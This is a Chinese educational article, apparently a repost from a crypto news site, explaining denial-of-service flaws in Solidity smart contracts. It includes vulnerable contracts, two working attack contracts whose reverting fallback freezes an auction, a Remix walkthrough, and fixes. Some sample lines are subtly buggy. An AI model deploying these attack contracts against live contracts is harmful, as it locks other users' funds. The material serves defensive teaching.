科普 | 深入理解「拒絕服務」漏洞

1. 前言

拒絕服務 (DoS):DoS 是 Denial of Service 的簡稱,即拒絕服務,任何對服務的干涉,使得其可用性降低或者失去可用性均稱為拒絕服務。簡單的理解就是,用戶所需要的正常服務請求無法被系統處理。例如一個計算機系統崩潰或其帶寬耗盡或其硬盤被填滿,導致其不能提供正常的服務,就構成拒絕服務。

拒絕服務攻擊:造成 DoS 的攻擊行為被稱為 DoS 攻擊,其目的是使計算機或網絡無法提供正常的服務。

在互聯網中,拒絕服務攻擊大致可以分為三類:利用軟件實現上的缺陷;利用協議上的漏洞;利用資源壓制。而在區塊鏈中,拒絕服務攻擊擾亂、中止、凍結正常合約的執行,甚至合約本身的邏輯無法正常運行。

2. 漏洞概述

在 Solidity 里,拒絕服務漏洞可以簡單的理解為「不可恢復的惡意操作或者可控制的無限資源消耗」,也就是對以太坊合約進行 DoS 攻擊,這就可能導致 Ether 和 Gas 的大量消耗,更嚴重的是讓原本的合約代碼邏輯無法正常運行。

舉個例子,超市有三個收銀點,正常來說人們排隊在收銀點進行掃碼支付,但是有一天網絡出現了問題,所有收銀點的顧客掃碼支付都失敗了,而後面的人也不能進行支付買單,就導致了收銀點的堵塞,超市不能正常運營。又或者,在支付時有顧客故意鬧事,使得後面的顧客也不能去支付,這同樣也會導致超市不能運營。我們可以看到有來自內部的,還有來自外部的,都是可能會造成拒絕服務攻擊。

在智能合約中也是一樣的,攻擊者通過消耗合約的資源,讓用戶短暫地退出不可以操作的合約,嚴重時甚至能永久地退出,從而把以太幣鎖在被攻擊的合約中。

3. 漏洞分析

智能合約中的拒絕服務攻擊一般有三種:

  • 在外部操縱映射或數組循環。
  • 所有者操作。
  • 基於外部調用的進展狀態。

3.1 在外部操縱映射或者數組循環

這種情況一般是由於映射或者數組循環在外部能被其他人操縱,由於映射或者數組循環的長度沒有被限制,從而導致大量消耗 Ether 和 Gas,最後使得智能合約暫時或永久不可操作。在智能合約中通常出現在合約的 owner 和其投資者之間在分配 token 時出現,如下面合約中的 distribute() 函數中。

contract DistributeTokens {
  address public owner; // 合約所有者
  address[] investors; // 投資者數組
  uint[] investorTokens; // 每個投資者獲得的代幣數量 
  // … 省略相關功能,包括 transfertoken() 
  function invest() public payable { // 投資
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 倍 value
}
  function distribute() public { // 分配
   require(msg.sender == owner); // 只有合約所有者可以操作
      for(uint i = 0; i < investors.length; i++) {
          // 這裡 transferToken(to,amount) 將 "amount" 的代幣轉移到地址 "to" 
          transferToken(investors[i], investorTokens[i]);
}
}

在上面的代碼片段中我們可以看到,distribute() 函數中會去遍歷投資者數組,但是合約的循環遍曆數組是可以被外部的人進行人為擴充,如果有攻擊者要攻擊這個合約,那麼他可以創建多個賬戶加入投資者的數組,讓 investors 的數據變得很大,大到讓循環遍曆數組所需的 gas 數量超過區塊 gas 數量的上限,此時 distribute() 函數將無法正常操作,這樣就會造成該合約的拒絕服務攻擊。

針對以上情況,合約不應該對可以被外部用戶人為操縱的映射或循環數組進行批量操作,這裡更建議使用取回模式而不是發送模式,即每個投資者可以通過使用 withdrawFunds() 取回自己應得的代幣。如果合約必須需要通過遍歷一個變長數組來進行轉賬,那麼最好是估計完成它們大概需要多少個區塊以及多少筆交易,從而限制數組長度,此外還必須能夠追蹤得到當前進行到哪以便當操作失敗時從那裡開始進行恢復。如下面的代碼所示,必須確保在下一次執行 payOut() 之前另一些正在執行的交易不會發生任何錯誤。

struct Payee {
address addr;
uint256 value;
}
Payee payees[];
uint256 nextPayeeIndex;
function payOut() {
uint256 i = nextPayeeIndex;
while (i < payees.length && msg.gas > 200000) {
payees[i].addr.send(payees[i].value);
i++;
  }
nextPayeeIndex = i;
}

3.2 所有者操作

在代幣合約中,通常都有一個 owner 賬戶,也就是合約所有者賬戶,其擁有開啟/暫停交易的權限,如果 owner 地址丟失,從而使得整個代幣合約無法被操作,導致非主觀的拒絕服務攻擊。

bool public isFinalized = false;
address public owner; // 合約所有者
function finalize() public {
  require(msg.sender == owner);
  isFinalized == true;
}
// … 額外的一些 ICO 功能
// 重寫 transfer 函數,先檢查 isFinalized
function transfer(address _to, uint _value) returns (bool) {
  require(isFinalized);
  super.transfer(_to,_value)
}

在上面的合約中代幣系統的全部運作都只取決於一個地址,那就是 owner 地址,在 ICO 結束后,如果特權用戶丟失,其私鑰可能會變為非活動狀態,此時,無法調用 finalize() 函數開啟交易,那麼用戶就一直不能發送代幣,合約也就不能進行正常操作了。

針對以上情況,合約不應該將整個代幣系統都只取決於一個 owner 地址,可以設置多個權限用戶地址,也可以設置暫停交易的時間,超過時間或滿足某個條件時開啟交易,這樣整個代幣系統就不會被拒絕服務攻擊了。下面的代碼可以作為參考,來防止所有者操作而造成的拒絕服務攻擊。

require(msg.sender == owner || now > unlockTime)

3.3 基於外部調用的進展狀態

如果智能合約的狀態改變依賴於外部函數執行的結果,但又未對執行一直失敗的情況做出防護,此時如果外部調用失敗或者由於外部原因而被拒絕時,就可能會造成拒絕服務攻擊。比如用戶創建一個不接受以太幣的合約(非 payable 屬性),如果正常的合約需要發送以太幣到不接受以太幣的合約中才能進入到一個新的狀態,那麼合約就會被拒絕而達不到新的狀態。

pragma solidity ^0.4.22;
contract Auction {
address public currentLeader; // 當前競拍者
uint256 public highestBid; // 最高競拍價
function bid() public payable {
require(msg.value > highestBid); // 交易攜帶的以太幣大於當前的 highestBid
require(currentLeader.send(highestBid)); // 將當前的 highestBid 退還給當前的競拍者 currentLeader
currentLeader = msg.sender; // 設置新的競拍者為消息調用者 msg.sender
highestBid = msg.value; // 設置新的最高競拍價 為 msg.value
  }
}

上面的合約就是一個簡單的競拍合約,說下大致的流程,用戶執行 bid() 函數時如果攜帶的以太幣大於當前的 highestBid,那麼 highestBid 所對應的以太幣就會退還給當前的競拍者 currentLeader,然後設置新的當前競拍者為調用的用戶,highestBid 也設置為用戶發起交易時攜帶的以太幣。看着合約代碼好像沒有什麼問題,但是當惡意攻擊者部署如下攻擊合約時,通過合約來競拍將會出現問題。

pragma solidity ^0.4.22;
interface Auction{ // 設置原合約接口,方便調用函數
function bid() external payable;
}
contract POC {
address owner;
Auction auInstance;
constructor() public {
owner = msg.sender;
  }
modifier onlyOwner() {
require(owner==msg.sender);
_;
  }
function setInstance(address addr) public onlyOwner { // 指向原合約地址
auInstance = Auction(addr);
  }
function attack() public onlyOwner {
auInstance.bid.value(msg.value)();
  }   
function() external payable{
revert();
  }
}

攻擊者先通過攻擊合約調用 bid() 函數向競拍合約轉賬成為新的競拍者 currentLeader,然後新的 bid() 函數被執行進行競標的時候,當執行到 require(currentLeader.send(highestBid)) 退還以太幣操作時,會因為攻擊合約的 fallback() 回退函數執行 revert() 而無法接收以太幣,導致一直為 false,其他競拍者競拍都會失敗,最後攻擊合約以較低的以太幣贏得競拍。

針對以上情況,如果需要對外部函數調用的結果進行處理后才能進入新的狀態,那麼一定要考慮外部調用可能一直失敗的情況,也可以添加基於時間的操作,防止外部函數調用一直失敗無法滿足 require 判斷。

4. 相關案例

4.1 演示案例

接下來會對拒絕服務攻擊做出詳細的演示講解,以及會附上一個實例進行說明。

下面的合約代碼是根據漏洞分析中第三點基於外部調用的進展狀態講的合約改的,正常的操作邏輯是任何出價高於當前合約 price 的都能成為新的 president,合約中存款也會通過 transfer() 函數轉賬以太幣退還給上一個 president,這麼看的話是沒有任何問題的,但是以太坊是有兩種賬戶類型,外部賬戶和合約賬戶,如果發起 becomePresident() 調用的是外部賬戶那就是正常的操作,但如果發起 becomePresident() 調用的是合約賬戶,並且在合約賬戶的 fallback() 函數中惡意的使用 revert() 等報錯的函數,那麼其他用戶在發起 becomePresident() 時退還以太幣給合約賬戶時會觸發 fallback() 函數而導致報錯,無法再正常進行 becomePresident() 中的邏輯成為新的 president 了。

那麼我們先來看下存在問題的合約代碼,這裡我們將合約代碼設置為 PresidentOfCountry.sol:

pragma solidity ^0.4.19;
contract PresidentOfCountry {
address public president; // 總統地址
uint256 price; // 出價
function PresidentOfCountry(uint256 _price) { // 構造函數,設置初始的價格
require(_price > 0);
price = _price; // 設置初始的價格
  }
function becomePresident() payable { // 競爭總統
require(msg.value > price); // 支付的以太幣必須大於當前總統的競爭費
president.transfer(price);   // 退還以太幣給上一任總統
president = msg.sender;      // 設置新的總統為競爭成功用戶
price = price;           // 設置最新的競爭價格
  }
}

在編寫攻擊合約之前,我們先來介紹下智能合約的兩種賬戶類型以及 fallback 函數。

以太坊中有兩種賬戶類型:

  • 外部賬戶(externally owned accounts),也就是用戶賬戶,由私鑰控制。
  • 合約賬戶(contract accounts),可執行代碼和私有狀態,由合約代碼控制。

回退函數 (fallback function):回退函數是每個合約中有且僅有一個沒有名字的函數,並且該函數無參數,無返回值,如下所示:

function() public payable{

}

回退函數在以下幾種情況中被執行:

  • 調用合約時沒有匹配到任何一個函數;
  • 沒有傳數據;
  • 智能合約收到以太幣(為了接受以太幣,fallback 函數必被標記為 payable)。

下面就來編寫攻擊合約,主要有兩個重點,一個是外部調用 becomePresident,二個就是在回退函數中使用 revert。

pragma solidity ^0.4.19;
import "./PresidentOfCountry.sol";
contract Attack {
function Attack(address _target) payable { // 構造函數,設置目標合約地址,用 call 進行外部調用 becomePresident
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
  }
function () payable { // 回退函數,使用 revert 報錯
revert();
  }
}

在 Remix 中進行調試查看結果,首先使用賬戶 (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4) 設置初始競爭價格並部署漏洞合約代碼 PresidentOfCountry.sol。

部署好后合約的地址為 0xd9145CCE52D386f254917e481eB44e9943F39138,後面在部署攻擊合約時需要用到。

科普 | 深入理解「拒絕服務」漏洞

點擊 president 可以查看當前競爭者的地址。

科普 | 深入理解「拒絕服務」漏洞

使用賬戶 (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4) 調用 becomePresident 並攜帶 1 eth,執行成功后再點擊 president 查看,發現新的總統地址已經變成了 0X5B 的賬戶。

科普 | 深入理解「拒絕服務」漏洞

此時有一個攻擊者 (0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2) 編寫了一個攻擊者合約 Attack.sol,攜帶 2 eth(因為成為新的總統必須要大於當前總統的競爭價格,當前為 1 eth)並設置 _target 為 PresidentOfCountry 合約地址 (0xd9145CCE52D386f254917e481eB44e9943F39138) 進行部署。

科普 | 深入理解「拒絕服務」漏洞

部署好后的攻擊合約地址為 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95,此時再點擊 president 進行查看新總統的地址,發現已經是攻擊合約的地址了。

科普 | 深入理解「拒絕服務」漏洞

之後如果還有其他用戶想來競爭總統位置,就需要大於 2 eth 的價格去調用 becomePresident 函數,這裡有個用戶 (0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c) 想去競爭總統,攜帶 3 eth 去調用 becomePresident,結果發現報錯並回退,點擊 president 發現總統地址還是攻擊合約沒,此時不管是誰使用多少的以太幣去調用 becomePresident,結果都是失敗,該合約已經不能進行正常的操作,這就說明合約受到了拒絕服務攻擊。

科普 | 深入理解「拒絕服務」漏洞

4.2 真實案例

下列代碼是實際合約中存在拒絕服務攻擊的案例,只寫了關鍵的代碼並做了相關的改動。

可以看到合約的關鍵代碼是用作提款操作,但是在提款中有一個判斷要提款的金額和用戶在該合約中存款的數量是否相等,而並不是大於等於,那麼就有可能發生當用戶要提出 amount 數量的代幣時,由於各種原因(他人轉賬、獎勵分配等使得用戶在合約中的存款代幣餘額發生變化)導致 balances[msg.sender] 變動,甚至是用戶不想全部提款,從而使得判斷條件 require(balances[msg.sender] == amount); 不成立,這時就會造成短暫的拒絕服務攻擊。


function withdraw(uint256 amount) public { // 提款 amount 數量
require(balances[msg.sender] == amount); // 檢查要提款的金額是否等於該用戶在合約中的存款
  balances[msg.sender] -= amount; // 修改合約中存款的狀態變量
  msg.sender.transfer(amount); // 轉賬到用戶賬戶
}

而修改的辦法就是將判斷條件 require(balances[msg.sender] == amount); 修改為 require(balances[msg.sender] >= amount); 就可以了。

4.3 歷史案例

在歷史上,2016 年 2 月 6 日至 8 日,在遊戲 KotET(King og the Ether Throne) 的「Turbulent Age」期間,就遭受到了拒絕服務攻擊,導致部分角色的補償和未接收款項無法退回玩家的錢包中。

同年 6 月,GovernMental 合約也遭受到了拒絕服務攻擊,當時 1100 個以太幣通過使用 250 萬個 gas 交易而獲得,這筆交易超出了合約能負荷的 gas 上限,從而導致交易暫停。

相關的還有 Fomo 3D 等的拒絕服務攻擊。

5. 解決辦法

通過上面的講解,我們可以發現拒絕服務攻擊在智能合約中的影響也是非常嚴重的,所以針對拒絕服務攻擊,合約開發者應該針對上面漏洞分析時講到的三種情況進行相應的代碼修改。

比如對於外部操作的映射或者數組循環,需要對長度進行限制等;而對於所有者操作需要考慮合約的非唯一性,不要使得合約因為某個權限賬戶而導致整個業務癱瘓;基於外部調用的進展狀態需要對函數的調用進行異常處理,一般來說內部函數的調用不會造成危害。

如果調用失敗也只是會進行回退,而外部調用具有不確定性,我們不知道外部調用者想幹什麼,如果被攻擊者攻擊,就可能會造成嚴重的後果,具體表現為惡意返回執行錯誤,造成正常代碼無法執行,從而造成拒絕服務攻擊,那麼針對這種開發者就應該加入函數執行異常的處理機制。

總的來說,合約開發者需要考慮合約代碼的代碼邏輯全面性和縝密性等,這樣才能更好的杜絕拒絕服務攻擊。

6. 參考文獻

  • 拒絕服務攻擊(黑客的攻擊手段之一)_百度百科 (baidu.com)
  • 以太坊智能合約安全入門了解一下(下) (rickgray.me)
  • 《智能合約安全分析和審計指南》

本文鏈接:https://www.8btc.com/article/6686998

轉載請註明文章出處

(0)
上一篇 2021-09-17 07:44
下一篇 2021-09-17 08:13

相关推荐